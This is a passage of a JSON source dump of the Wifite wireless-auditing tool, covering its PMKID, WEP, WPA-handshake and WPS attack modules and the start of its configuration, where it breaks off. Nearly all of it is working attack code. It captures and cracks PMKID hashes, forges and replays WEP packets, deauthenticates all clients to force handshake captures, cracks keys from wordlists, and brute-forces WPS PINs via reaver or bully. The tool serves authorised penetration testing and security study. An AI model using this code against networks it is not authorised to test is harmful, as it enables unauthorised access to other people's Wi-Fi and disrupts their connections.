pmkid_file = self.get_existing_pmkid_file(self.target.bssid)\n            if pmkid_file is not None:\n                Color.pattack('PMKID', self.target, 'CAPTURE',\n                        'Loaded {C}existing{W} PMKID hash: {C}%s{W}\\n' % pmkid_file)\n\n        if pmkid_file is None:\n            # Capture hash from live target.\n            pmkid_file = self.capture_pmkid()\n\n        if pmkid_file is None:\n            return False  # No hash found.\n\n        # Crack it.\n        try:\n            self.success = self.crack_pmkid_file(pmkid_file)\n        except KeyboardInterrupt:\n            Color.pl('\\n{!} {R}Failed to crack PMKID: {O}Cracking interrupted by user{W}')\n            self.success = False\n            return False\n\n        return True  # Even if we don't crack it, capturing a PMKID is 'successful'\n\n\n    def capture_pmkid(self):\n        '''\n        Runs hashcat's hcxpcaptool to extract PMKID hash from the .pcapng file.\n        Returns:\n            The PMKID hash (str) if found, otherwise None.\n        '''\n        self.keep_capturing = True\n        self.timer = Timer(Configuration.pmkid_timeout)\n\n        # Start hcxdumptool\n        t = Thread(target=self.dumptool_thread)\n        t.start()\n\n        # Repeatedly run pcaptool & check output for hash for self.target.essid\n        pmkid_hash = None\n        pcaptool = HcxPcapTool(self.target)\n        while self.timer.remaining() > 0:\n            pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file)\n            if pmkid_hash is not None:\n                break  # Got PMKID\n\n            Color.pattack('PMKID', self.target, 'CAPTURE',\n                    'Waiting for PMKID ({C}%s{W})' % str(self.timer))\n            time.sleep(1)\n\n        self.keep_capturing = False\n\n        if pmkid_hash is None:\n            Color.pattack('PMKID', self.target, 'CAPTURE',\n                    '{R}Failed{O} to capture PMKID\\n')\n            Color.pl('')\n            return None  # No hash found.\n\n        Color.clear_entire_line()\n        Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}')\n        pmkid_file = self.save_pmkid(pmkid_hash)\n        return pmkid_file\n\n\n    def crack_pmkid_file(self, pmkid_file):\n        '''\n        Runs hashcat containing PMKID hash (*.16800).\n        If cracked, saves results in self.crack_result\n        Returns:\n            True if cracked, False otherwise.\n        '''\n\n        # Check that wordlist exists before cracking.\n        if Configuration.wordlist is None:\n            Color.pl('\\n{!} {O}Not cracking PMKID ' +\n                    'because there is no {R}wordlist{O} (re-run with {C}--dict{O})')\n\n            # TODO: Uncomment once --crack is updated to support recracking PMKIDs.\n            #Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')\n\n            key = None\n        else:\n            Color.clear_entire_line()\n            Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID using {C}%s{W} ...\\n' % Configuration.wordlist)\n            key = Hashcat.crack_pmkid(pmkid_file)\n\n        if key is None:\n            # Failed to crack.\n            if Configuration.wordlist is not None:\n                Color.clear_entire_line()\n                Color.pattack('PMKID', self.target, '{R}CRACK',\n                        '{R}Failed {O}Passphrase not found in dictionary.\\n')\n            return False\n        else:\n            # Successfully cracked.\n            Color.clear_entire_line()\n            Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}' % key)\n            self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,\n                    pmkid_file, key)\n            Color.pl('\\n')\n            self.crack_result.dump()\n            return True\n\n\n    def dumptool_thread(self):\n        '''Runs hashcat's hcxdumptool until it dies or `keep_capturing == False`'''\n        dumptool = HcxDumpTool(self.target, self.pcapng_file)\n\n        # Let the dump tool run until we have the hash.\n        while self.keep_capturing and dumptool.poll() is None:\n            time.sleep(0.5)\n\n        dumptool.interrupt()\n\n\n    def save_pmkid(self, pmkid_hash):\n        '''Saves a copy of the pmkid (handshake) to hs/ directory.'''\n        # Create handshake dir\n        if not os.path.exists(Configuration.wpa_handshake_dir):\n            os.makedirs(Configuration.wpa_handshake_dir)\n\n        # Generate filesystem-safe filename from bssid, essid and date\n        essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid)\n        bssid_safe = self.target.bssid.replace(':', '-')\n        date = time.strftime('%Y-%m-%dT%H-%M-%S')\n        pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date)\n        pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file)\n\n        Color.p('\\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file)\n        with open(pmkid_file, 'w') as pmkid_handle:\n            pmkid_handle.write(pmkid_hash)\n            pmkid_handle.write('\\n')\n\n        return pmkid_file\n\n"
  },
  {
    "path": "wifite/attack/wep.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..model.attack import Attack\nfrom ..tools.airodump import Airodump\nfrom ..tools.aireplay import Aireplay, WEPAttackType\nfrom ..tools.aircrack import Aircrack\nfrom ..tools.ifconfig import Ifconfig\nfrom ..config import Configuration\nfrom ..util.color import Color\nfrom ..util.input import raw_input\nfrom ..model.wep_result import CrackResultWEP\n\nimport time\n\nclass AttackWEP(Attack):\n    '''\n        Contains logic for attacking a WEP-encrypted access point.\n    '''\n\n    fakeauth_wait = 5  # TODO: Configuration?\n\n    def __init__(self, target):\n        super(AttackWEP, self).__init__(target)\n        self.crack_result = None\n        self.success = False\n\n    def run(self):\n        '''\n            Initiates full WEP attack.\n            Including airodump-ng starting, cracking, etc.\n            Returns: True if attack is successful, false otherwise\n        '''\n\n        aircrack = None # Aircrack process, not started yet\n        fakeauth_proc = None\n        replay_file = None\n        airodump_target = None\n\n        previous_ivs = 0\n        current_ivs = 0\n        total_ivs = 0\n        keep_ivs = Configuration.wep_keep_ivs\n\n        # Clean up previous WEP sessions\n        if keep_ivs:\n            Airodump.delete_airodump_temp_files('wep')\n\n        attacks_remaining = list(Configuration.wep_attacks)\n        while len(attacks_remaining) > 0:\n            attack_name = attacks_remaining.pop(0)\n            # BIG try-catch to capture ctrl+c\n            try:\n                # Start Airodump process\n                with Airodump(channel=self.target.channel,\n                              target_bssid=self.target.bssid,\n                              ivs_only=True, # Only capture IVs packets\n                              skip_wps=True, # Don't check for WPS-compatibility\n                              output_file_prefix='wep',\n                              delete_existing_files=not keep_ivs) as airodump:\n\n                    Color.clear_line()\n                    Color.p('\\r{+} {O}waiting{W} for target to appear...')\n                    airodump_target = self.wait_for_target(airodump)\n\n                    fakeauth_proc = None\n                    if self.fake_auth():\n                        # We successfully authenticated!\n                        # Use our interface's MAC address for the attacks.\n                        client_mac = Ifconfig.get_mac(Configuration.interface)\n                        # Keep us authenticated\n                        fakeauth_proc = Aireplay(self.target, 'fakeauth')\n                    elif len(airodump_target.clients) == 0:\n                        # Failed to fakeauth, can't use our MAC.\n                        # And there are no associated clients. Use one and tell the user.\n                        Color.pl('{!} {O}there are no associated clients{W}')\n                        Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +\n                                 ' without fake-authentication or associated clients{W}')\n                        client_mac = None\n                    else:\n                        # Fakeauth failed, but we can re-use an existing client\n                        client_mac = airodump_target.clients[0].station\n\n                    # Convert to WEPAttackType.\n                    wep_attack_type = WEPAttackType(attack_name)\n\n                    # Start Aireplay process.\n                    aireplay = Aireplay(self.target,\n                                        wep_attack_type,\n                                        client_mac=client_mac,\n                                        replay_file=replay_file)\n\n                    time_unchanged_ivs = time.time() # Timestamp when IVs last changed\n                    last_ivs_count = 0\n\n                    # Loop until attack completes.\n\n                    while True:\n                        airodump_target = self.wait_for_target(airodump)\n\n                        if client_mac is None and len(airodump_target.clients) > 0:\n                            client_mac = airodump_target.clients[0].station\n\n                        if keep_ivs and current_ivs > airodump_target.ivs:\n                            # We now have less IVS than before; A new attack must have started.\n                            # Track how many we have in-total.\n                            previous_ivs += total_ivs\n                        current_ivs = airodump_target.ivs\n                        total_ivs = previous_ivs + current_ivs\n\n                        status = '%d/{C}%d{W} IVs' % (total_ivs, Configuration.wep_crack_at_ivs)\n                        if fakeauth_proc:\n                            if fakeauth_proc and fakeauth_proc.status:\n                                status += ', {G}fakeauth{W}'\n                            else:\n                                status += ', {R}no-auth{W}'\n                        if aireplay.status is not None:\n                            status += ', %s' % aireplay.status\n                        Color.clear_entire_line()\n                        Color.pattack('WEP', airodump_target, '%s' % attack_name, status)\n\n                        # Check if we cracked it.\n                        if aircrack and aircrack.is_cracked():\n                            (hex_key, ascii_key) = aircrack.get_key_hex_ascii()\n                            bssid = airodump_target.bssid\n                            if airodump_target.essid_known:\n                                essid = airodump_target.essid\n                            else:\n                                essid = None\n                            Color.pl('\\n{+} {C}%s{W} WEP attack {G}successful{W}\\n' % attack_name)\n                            if aireplay: aireplay.stop()\n                            if fakeauth_proc: fakeauth_proc.stop()\n                            self.crack_result = CrackResultWEP(self.target.bssid,\n                                    self.target.essid, hex_key, ascii_key)\n                            self.crack_result.dump()\n\n                            Airodump.delete_airodump_temp_files('wep')\n\n                            self.success = True\n                            return self.success\n\n                        if aircrack and aircrack.is_running():\n                            # Aircrack is running in the background.\n                            Color.p('and {C}cracking{W}')\n\n                        # Check number of IVs, crack if necessary\n                        if total_ivs > Configuration.wep_crack_at_ivs:\n                            if not aircrack or not aircrack.is_running():\n                                # Aircrack hasn't started yet. Start it.\n                                ivs_files = airodump.find_files(endswith='.ivs')\n                                ivs_files.sort()\n                                if len(ivs_files) > 0:\n                                    if not keep_ivs:\n                                        ivs_files = ivs_files[-1]  # Use most-recent .ivs file\n                                    aircrack = Aircrack(ivs_files)\n\n                            elif Configuration.wep_restart_aircrack > 0 and \\\n                                    aircrack.pid.running_time() > Configuration.wep_restart_aircrack:\n                                # Restart aircrack after X seconds\n                                #Color.pl('\\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack)\n                                aircrack.stop()\n                                ivs_files = airodump.find_files(endswith='.ivs')\n                                ivs_files.sort()\n                                if len(ivs_files) > 0:\n                                    if not keep_ivs:\n                                        ivs_files = ivs_files[-1]  # Use most-recent .ivs file\n                                    aircrack = Aircrack(ivs_files)\n\n\n                        if not aireplay.is_running():\n                            # Some Aireplay attacks loop infinitely\n                            if attack_name == 'chopchop' or attack_name == 'fragment':\n                                # We expect these to stop once a .xor is created, or if the process failed.\n\n                                replay_file = None\n\n                                # Check for .xor file.\n                                xor_file = Aireplay.get_xor()\n                                if not xor_file:\n                                    # If .xor is not there, the process failed.\n                                    Color.pl('\\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name)\n                                    # XXX: For debugging\n                                    Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd))\n                                    Color.pl('{?} {O}Output:\\n{R}%s{W}' % aireplay.get_output())\n                                    break\n\n                                # If .xor exists, run packetforge-ng to create .cap\n                                Color.pl('\\n{+} {C}%s attack{W}' % attack_name +\n                                        ' generated a {C}.xor file{W}, {G}forging...{W}')\n                                replay_file = Aireplay.forge_packet(xor_file,\n                                                                   airodump_target.bssid,\n                                                                   client_mac)\n                                if replay_file:\n                                    Color.pl('{+} {C}forged packet{W},' +\n                                             ' {G}replaying...{W}')\n                                    wep_attack_type = WEPAttackType('forgedreplay')\n                                    attack_name = 'forgedreplay'\n                                    aireplay = Aireplay(self.target,\n                                                        'forgedreplay',\n                                                        client_mac=client_mac,\n                                                        replay_file=replay_file)\n                                    time_unchanged_ivs = time.time()  # Reset unchanged IVs time (it may have taken a while to forge the packet)\n                                    continue\n                                else:\n                                    # Failed to forge packet. drop out\n                                    break\n                            else:\n                                Color.pl('\\n{!} {O}aireplay-ng exited unexpectedly{W}')\n                                Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd))\n                                Color.pl('{?} {O}Output:\\n{R}%s{W}' % aireplay.get_output())\n                                break # Continue to other attacks\n\n                        # Check if IVs stopped flowing (same for > N seconds)\n                        if airodump_target.ivs > last_ivs_count:\n                            time_unchanged_ivs = time.time()\n                        elif Configuration.wep_restart_stale_ivs > 0 and \\\n                             attack_name != 'chopchop' and \\\n                             attack_name != 'fragment':\n                            stale_seconds = time.time() - time_unchanged_ivs\n                            if stale_seconds > Configuration.wep_restart_stale_ivs:\n                                # No new IVs within threshold, restart aireplay\n                                aireplay.stop()\n                                Color.pl('\\n{!} restarting {C}aireplay{W} after' +\n                                         ' {C}%d{W} seconds of no new IVs'\n                                             % stale_seconds)\n                                aireplay = Aireplay(self.target, \\\n                                                    wep_attack_type, \\\n                                                    client_mac=client_mac, \\\n                                                    replay_file=replay_file)\n                                time_unchanged_ivs = time.time()\n                        last_ivs_count = airodump_target.ivs\n\n                        time.sleep(1)\n                        continue\n                    # End of big while loop\n                # End of with-airodump\n            except KeyboardInterrupt:\n                if fakeauth_proc: fakeauth_proc.stop()\n                if len(attacks_remaining) == 0:\n                    if keep_ivs:\n                        Airodump.delete_airodump_temp_files('wep')\n\n                    self.success = False\n                    return self.success\n\n                if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target):\n                    if keep_ivs:\n                        Airodump.delete_airodump_temp_files('wep')\n\n                    self.success = False\n                    return self.success\n\n            except Exception as e:\n                Color.pexception(e)\n                continue\n            # End of big try-catch\n        # End of for-each-attack-type loop\n\n        if keep_ivs:\n            Airodump.delete_airodump_temp_files('wep')\n\n        self.success = False\n        return self.success\n\n    def user_wants_to_stop(self, current_attack, attacks_remaining, target):\n        '''\n        Ask user what attack to perform next (re-orders attacks_remaining, returns False),\n        or if we should stop attacking this target (returns True).\n        '''\n        if target is None:\n            Color.pl('')\n            return True\n        target_name = target.essid if target.essid_known else target.bssid\n\n        Color.pl('\\n\\n{!} {O}Interrupted')\n        Color.pl('{+} {W}Next steps:')\n\n        # Deauth clients & retry\n        attack_index = 1\n        Color.pl('     {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}' % (current_attack, target_name))\n\n        # Move onto a different WEP attack\n        for attack_name in attacks_remaining:\n            attack_index += 1\n            Color.pl('     {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}' % (attack_index, attack_name, target_name))\n\n        # Stop attacking entirely\n        attack_index += 1\n        Color.pl('     {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}' % attack_index)\n        while True:\n            answer = raw_input(Color.s('{?} Select an option ({G}1-%d{W}): ' % attack_index))\n            if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index:\n                Color.pl('{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}' % attack_index)\n                continue\n            answer = int(answer)\n            break\n\n        if answer == 1:\n            # Deauth clients & retry\n            deauth_count = 1\n            Color.clear_entire_line()\n\n            Color.p('\\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...')\n            Aireplay.deauth(target.bssid, essid=target.essid)\n\n            attacking_mac = Ifconfig.get_mac(Configuration.interface)\n            for client in target.clients:\n                if attacking_mac.lower() == client.station.lower():\n                    continue  # Don't deauth ourselves.\n\n                Color.clear_entire_line()\n                Color.p('\\r{+} {O}Deauthenticating client {C}%s{W}...' % client.station)\n\n                Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)\n                deauth_count += 1\n\n            Color.clear_entire_line()\n            Color.pl('\\r{+} Sent {C}%d {O}deauths{W}' % deauth_count)\n\n            # Re-insert current attack to top of list of attacks remaining\n            attacks_remaining.insert(0, current_attack)\n            return False # Don't stop\n        elif answer == attack_index:\n            return True # Stop attacking\n        elif answer > 1:\n            # User selected specific attack: Re-order attacks based on desired next-step\n            attacks_remaining.insert(0, attacks_remaining.pop(answer-2))\n            return False # Don't stop\n\n\n    def fake_auth(self):\n        '''\n        Attempts to fake-authenticate with target.\n        Returns: True if successful, False is unsuccessful.\n        '''\n        Color.p('\\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)\n        fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)\n        if fakeauth:\n            Color.pl(' {G}success{W}')\n        else:\n            Color.pl(' {R}failed{W}')\n            if Configuration.require_fakeauth:\n                # Fakeauth is required, fail\n                raise Exception(\n                    'Fake-authenticate did not complete within' +\n                    ' %d seconds' % AttackWEP.fakeauth_wait)\n            else:\n                # Warn that fakeauth failed\n                Color.pl('{!} {O}' +\n                    'unable to fake-authenticate with target' +\n                    ' (%s){W}' % self.target.bssid)\n                Color.pl('{!} continuing attacks because' +\n                    ' {G}--require-fakeauth{W} was not set')\n        return fakeauth\n\n\nif __name__ == '__main__':\n    Configuration.initialize(True)\n    from ..model.target import Target\n    fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46,  6,  54e,WEP, WEP, , -58,        2,        0,   0.  0.  0.  0,   9, Test Router Please Ignore, '.split(',')\n    target = Target(fields)\n    wep = AttackWEP(target)\n    wep.run()\n    Configuration.exit_gracefully(0)\n\n"
  },
  {
    "path": "wifite/attack/wpa.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..model.attack import Attack\nfrom ..tools.aircrack import Aircrack\nfrom ..tools.airodump import Airodump\nfrom ..tools.aireplay import Aireplay\nfrom ..config import Configuration\nfrom ..util.color import Color\nfrom ..util.process import Process\nfrom ..util.timer import Timer\nfrom ..model.handshake import Handshake\nfrom ..model.wpa_result import CrackResultWPA\n\nimport time\nimport os\nimport re\nfrom shutil import copy\n\nclass AttackWPA(Attack):\n    def __init__(self, target):\n        super(AttackWPA, self).__init__(target)\n        self.clients = []\n        self.crack_result = None\n        self.success = False\n\n    def run(self):\n        '''Initiates full WPA handshake capture attack.'''\n\n        # Skip if target is not WPS\n        if Configuration.wps_only and self.target.wps == False:\n            Color.pl('\\r{!} {O}Skipping WPA-Handshake attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid)\n            self.success = False\n            return self.success\n\n        # Skip if user only wants to run PMKID attack\n        if Configuration.use_pmkid_only:\n            self.success = False\n            return False\n\n        # Capture the handshake (or use an old one)\n        handshake = self.capture_handshake()\n\n        if handshake is None:\n            # Failed to capture handshake\n            self.success = False\n            return self.success\n\n        # Analyze handshake\n        Color.pl('\\n{+} analysis of captured handshake file:')\n        handshake.analyze()\n\n        # Check wordlist\n        if Configuration.wordlist is None:\n            Color.pl('{!} {O}Not cracking handshake because' +\n                     ' wordlist ({R}--dict{O}) is not set')\n            self.success = False\n            return False\n\n        elif not os.path.exists(Configuration.wordlist):\n            Color.pl('{!} {O}Not cracking handshake because' +\n                     ' wordlist {R}%s{O} was not found' % Configuration.wordlist)\n            self.success = False\n            return False\n\n        Color.pl('\\n{+} {C}Cracking WPA Handshake:{W} Running {C}aircrack-ng{W} with' +\n                ' {C}%s{W} wordlist' % os.path.split(Configuration.wordlist)[-1])\n\n        # Crack it\n        key = Aircrack.crack_handshake(handshake, show_command=False)\n        if key is None:\n            Color.pl('{!} {R}Failed to crack handshake: {O}%s{R} did not contain password{W}' % Configuration.wordlist.split(os.sep)[-1])\n            self.success = False\n        else:\n            Color.pl('{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\\n' % key)\n            self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key)\n            self.crack_result.dump()\n            self.success = True\n        return self.success\n\n\n    def capture_handshake(self):\n        '''Returns captured or stored handshake, otherwise None.'''\n        handshake = None\n\n        # First, start Airodump process\n        with Airodump(channel=self.target.channel,\n                      target_bssid=self.target.bssid,\n                      skip_wps=True,\n                      output_file_prefix='wpa') as airodump:\n\n            Color.clear_entire_line()\n            Color.pattack('WPA', self.target, 'Handshake capture', 'Waiting for target to appear...')\n            airodump_target = self.wait_for_target(airodump)\n\n            self.clients = []\n\n            # Try to load existing handshake\n            if Configuration.ignore_old_handshakes == False:\n                bssid = airodump_target.bssid\n                essid = airodump_target.essid if airodump_target.essid_known else None\n                handshake = self.load_handshake(bssid=bssid, essid=essid)\n                if handshake:\n                    Color.pattack('WPA', self.target, 'Handshake capture', 'found {G}existing handshake{W} for {C}%s{W}' % handshake.essid)\n                    Color.pl('\\n{+} Using handshake from {C}%s{W}' % handshake.capfile)\n                    return handshake\n\n            timeout_timer = Timer(Configuration.wpa_attack_timeout)\n            deauth_timer = Timer(Configuration.wpa_deauth_timeout)\n\n            while handshake is None and not timeout_timer.ended():\n                step_timer = Timer(1)\n                Color.clear_entire_line()\n                Color.pattack('WPA',\n                        airodump_target,\n                        'Handshake capture',\n                        'Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})' % (len(self.clients), deauth_timer, timeout_timer))\n\n                # Find .cap file\n                cap_files = airodump.find_files(endswith='.cap')\n                if len(cap_files) == 0:\n                    # No cap files yet\n                    time.sleep(step_timer.remaining())\n                    continue\n                cap_file = cap_files[0]\n\n                # Copy .cap file to temp for consistency\n                temp_file = Configuration.temp('handshake.cap.bak')\n                copy(cap_file, temp_file)\n\n                # Check cap file in temp for Handshake\n                bssid = airodump_target.bssid\n                essid = airodump_target.essid if airodump_target.essid_known else None\n                handshake = Handshake(temp_file, bssid=bssid, essid=essid)\n                if handshake.has_handshake():\n                    # We got a handshake\n                    Color.clear_entire_line()\n                    Color.pattack('WPA',\n                            airodump_target,\n                            'Handshake capture',\n                            '{G}Captured handshake{W}')\n                    Color.pl('')\n                    break\n\n                # There is no handshake\n                handshake = None\n                # Delete copied .cap file in temp to save space\n                os.remove(temp_file)\n\n                # Look for new clients\n                airodump_target = self.wait_for_target(airodump)\n                for client in airodump_target.clients:\n                    if client.station not in self.clients:\n                        Color.clear_entire_line()\n                        Color.pattack('WPA',\n                                airodump_target,\n                                'Handshake capture',\n                                'Discovered new client: {G}%s{W}' % client.station)\n                        Color.pl('')\n                        self.clients.append(client.station)\n\n                # Send deauth to a client or broadcast\n                if deauth_timer.ended():\n                    self.deauth(airodump_target)\n                    # Restart timer\n                    deauth_timer = Timer(Configuration.wpa_deauth_timeout)\n\n                # Sleep for at-most 1 second\n                time.sleep(step_timer.remaining())\n                continue # Handshake listen+deauth loop\n\n        if handshake is None:\n            # No handshake, attack failed.\n            Color.pl('\\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds' % (Configuration.wpa_attack_timeout))\n            return handshake\n        else:\n            # Save copy of handshake to ./hs/\n            self.save_handshake(handshake)\n            return handshake\n\n    def load_handshake(self, bssid, essid):\n        if not os.path.exists(Configuration.wpa_handshake_dir):\n            return None\n\n        if essid:\n            essid_safe = re.escape(re.sub('[^a-zA-Z0-9]', '', essid))\n        else:\n            essid_safe = '[a-zA-Z0-9]+'\n        bssid_safe = re.escape(bssid.replace(':', '-'))\n        date = '\\d{4}-\\d{2}-\\d{2}T\\d{2}-\\d{2}-\\d{2}'\n        get_filename = re.compile('handshake_%s_%s_%s\\.cap' % (essid_safe, bssid_safe, date))\n\n        for filename in os.listdir(Configuration.wpa_handshake_dir):\n            cap_filename = os.path.join(Configuration.wpa_handshake_dir, filename)\n            if os.path.isfile(cap_filename) and re.match(get_filename, filename):\n                return Handshake(capfile=cap_filename, bssid=bssid, essid=essid)\n\n        return None\n\n    def save_handshake(self, handshake):\n        '''\n            Saves a copy of the handshake file to hs/\n            Args:\n                handshake - Instance of Handshake containing bssid, essid, capfile\n        '''\n        # Create handshake dir\n        if not os.path.exists(Configuration.wpa_handshake_dir):\n            os.makedirs(Configuration.wpa_handshake_dir)\n\n        # Generate filesystem-safe filename from bssid, essid and date\n        if handshake.essid and type(handshake.essid) is str:\n            essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)\n        else:\n            essid_safe = 'UnknownEssid'\n        bssid_safe = handshake.bssid.replace(':', '-')\n        date = time.strftime('%Y-%m-%dT%H-%M-%S')\n        cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)\n        cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)\n\n        if Configuration.wpa_strip_handshake:\n            Color.p('{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}...' % cap_filename)\n            handshake.strip(outfile=cap_filename)\n            Color.pl('{G}saved{W}')\n        else:\n            Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename)\n            copy(handshake.capfile, cap_filename)\n            Color.pl('{G}saved{W}')\n\n        # Update handshake to use the stored handshake file for future operations\n        handshake.capfile = cap_filename\n\n\n    def deauth(self, target):\n        '''\n            Sends deauthentication request to broadcast and every client of target.\n            Args:\n                target - The Target to deauth, including clients.\n        '''\n        if Configuration.no_deauth: return\n\n        for index, client in enumerate([None] + self.clients):\n            if client is None:\n                target_name = '*broadcast*'\n            else:\n                target_name = client\n            Color.clear_entire_line()\n            Color.pattack('WPA',\n                    target,\n                    'Handshake capture',\n                    'Deauthing {O}%s{W}' % target_name)\n            Aireplay.deauth(target.bssid, client_mac=client, timeout=2)\n\nif __name__ == '__main__':\n    Configuration.initialize(True)\n    from ..model.target import Target\n    fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46,  11,  54e,WPA, WPA, , -58,        2,        0,   0.  0.  0.  0,   9, Test Router Please Ignore, '.split(',')\n    target = Target(fields)\n    wpa = AttackWPA(target)\n    try:\n        wpa.run()\n    except KeyboardInterrupt:\n        Color.pl('')\n        pass\n    Configuration.exit_gracefully(0)\n"
  },
  {
    "path": "wifite/attack/wps.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..model.attack import Attack\nfrom ..util.color import Color\nfrom ..util.process import Process\nfrom ..config import Configuration\nfrom ..tools.bully import Bully\nfrom ..tools.reaver import Reaver\n\nclass AttackWPS(Attack):\n\n    @staticmethod\n    def can_attack_wps():\n        return Reaver.exists() or Bully.exists()\n\n    def __init__(self, target, pixie_dust=False):\n        super(AttackWPS, self).__init__(target)\n        self.success = False\n        self.crack_result = None\n        self.pixie_dust = pixie_dust\n\n    def run(self):\n        ''' Run all WPS-related attacks '''\n\n        # Drop out if user specified to not use Reaver/Bully\n        if Configuration.use_pmkid_only:\n            self.success = False\n            return False\n\n        if Configuration.no_wps:\n            self.success = False\n            return False\n\n        if not Configuration.wps_pixie and self.pixie_dust:\n            Color.pl('\\r{!} {O}--no-pixie{R} was given, ignoring WPS PIN Attack on ' +\n                    '{O}%s{W}' % self.target.essid)\n            self.success = False\n            return False\n\n        if not Configuration.wps_pin and not self.pixie_dust:\n            Color.pl('\\r{!} {O}--no-pin{R} was given, ignoring WPS Pixie-Dust Attack ' +\n                    'on {O}%s{W}' % self.target.essid)\n            self.success = False\n            return False\n\n        if not Reaver.exists() and Bully.exists():\n            # Use bully if reaver isn't available\n            return self.run_bully()\n        elif self.pixie_dust and not Reaver.is_pixiedust_supported() and Bully.exists():\n            # Use bully if reaver can't do pixie-dust\n            return self.run_bully()\n        elif Configuration.use_bully:\n            # Use bully if asked by user\n            return self.run_bully()\n        elif not Reaver.exists():\n            # Print error if reaver isn't found (bully not available)\n            if self.pixie_dust:\n                Color.pl('\\r{!} {R}Skipping WPS Pixie-Dust attack: {O}reaver{R} not found.{W}')\n            else:\n                Color.pl('\\r{!} {R}Skipping WPS PIN attack: {O}reaver{R} not found.{W}')\n            return False\n        elif self.pixie_dust and not Reaver.is_pixiedust_supported():\n            # Print error if reaver can't support pixie-dust (bully not available)\n            Color.pl('\\r{!} {R}Skipping WPS attack: {O}reaver{R} does not support {O}--pixie-dust{W}')\n            return False\n        else:\n            return self.run_reaver()\n\n\n    def run_bully(self):\n        bully = Bully(self.target, pixie_dust=self.pixie_dust)\n        bully.run()\n        bully.stop()\n        self.crack_result = bully.crack_result\n        self.success = self.crack_result is not None\n        return self.success\n\n\n    def run_reaver(self):\n        reaver = Reaver(self.target, pixie_dust=self.pixie_dust)\n        reaver.run()\n        self.crack_result = reaver.crack_result\n        self.success = self.crack_result is not None\n        return self.success\n\n"
  },
  {
    "path": "wifite/config.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\n\nfrom .util.color import Color\nfrom .tools.macchanger import Macchanger\n\nclass Configuration(object):\n    ''' Stores configuration variables and functions for Wifite. '''\n    version = '2.2.5'\n\n    initialized = False # Flag indicating config has been initialized\n    temp_dir = None     # Temporary directory\n    interface = None\n    verbose = 0\n\n    @classmethod\n    def initialize(cls, load_interface=True):\n        '''\n            Sets up default initial configuration values.\n            Also sets config values based on command-line arguments.\n        '''\n        # TODO: categorize configuration into separate classes (under config/*.py)\n        # E.g. Configuration.wps.enabled, Configuration.wps.timeout, etc\n\n        # Only initialize this class once\n        if cls.initialized:\n            return\n        cls.initialized = True\n\n        cls.verbose = 0 # Verbosity of output. Higher number means more debug info about running processes.\n        cls.print_stack_traces = True\n\n        cls.kill_conflicting_processes = False\n\n        cls.scan_time = 0 # Time to wait before attacking all targets\n\n        cls.tx_power = 0 # Wifi transmit power (0 is default)\n        cls.interface = None\n        cls.target_channel = None # User-defined channel to scan\n        cls.target_essid = None # User-defined AP name\n        cls.target_bssid = None # User-defined AP BSSID\n        cls.ignore_essid = None # ESSIDs to ignore\n        cls.clients_only = False # Only show targets that have associated clients\n        cls.five_ghz = False # Scan 5Ghz channels\n        cls.show_bssids = False # Show BSSIDs in targets list\n        cls.random_mac = False # Should generate a random Mac address at startup.\n        cls.no_deauth = False # Deauth hidden networks & WPA handshake targets\n        cls.num_deauths = 1 # Number of deauth packets to send to each target.\n\n        cls.encryption_filter = ['WEP', 'WPA', 'WPS']\n\n        # EvilTwin variables\n        cls.use_eviltwin = False\n        cls.eviltwin_port = 80\n        cls.eviltwin_deauth_iface = None\n        cls.eviltwin_fakeap_iface = None\n\n        # WEP variables\n        cls.wep_filter = False # Only attack WEP networks\n        cls.wep_pps = 600 # Packets per second\n        cls.wep_timeout = 600 # Seconds to wait before failing\n        cls.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking\n        cls.require_fakeauth = False\n        cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting\n                                                 # Aireplay if IVs don't increaes.\n                                                 # '0' means never 